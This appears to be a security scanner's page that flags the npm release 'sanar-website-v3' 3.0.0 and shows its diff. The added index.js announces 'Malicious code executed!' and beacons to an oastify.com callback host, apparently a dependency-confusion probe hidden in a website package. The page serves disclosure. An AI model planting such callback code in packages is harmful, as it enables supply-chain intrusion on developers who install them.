sanar-website-v3 3.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of sanar-website-v3 might be problematic. Click here for more details.
- package/README.md +2 -0
- package/index.js +31 -0
- package/package.json +12 -0
package/README.md
ADDED
package/index.js
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
// index.js
|
2
|
+
console.log("Malicious code executed!");
|
3
|
+
|
4
|
+
// Optionally, send a network request to your server for verification
|
5
|
+
const http = require('https');
|
6
|
+
|
7
|
+
const data = JSON.stringify({ message: 'Malicious code executed!' });
|
8
|
+
|
9
|
+
const options = {
|
10
|
+
hostname: '9hrw5wd6scu0tydiocu3hoz0zr5itjh8.oastify.com',
|
11
|
+
port: 443,
|
12
|
+
path: '/log',
|
13
|
+
method: 'POST',
|
14
|
+
headers: {
|
15
|
+
'Content-Type': 'application/json',
|
16
|
+
'Content-Length': data.length,
|
17
|
+
},
|
18
|
+
};
|
19
|
+
|
20
|
+
const req = http.request(options, (res) => {
|
21
|
+
res.on('data', (d) => {
|
22
|
+
process.stdout.write(d);
|
23
|
+
});
|
24
|
+
});
|
25
|
+
|
26
|
+
req.on('error', (e) => {
|
27
|
+
console.error(e);
|
28
|
+
});
|
29
|
+
|
30
|
+
req.write(data);
|
31
|
+
req.end();
|
package/package.json
ADDED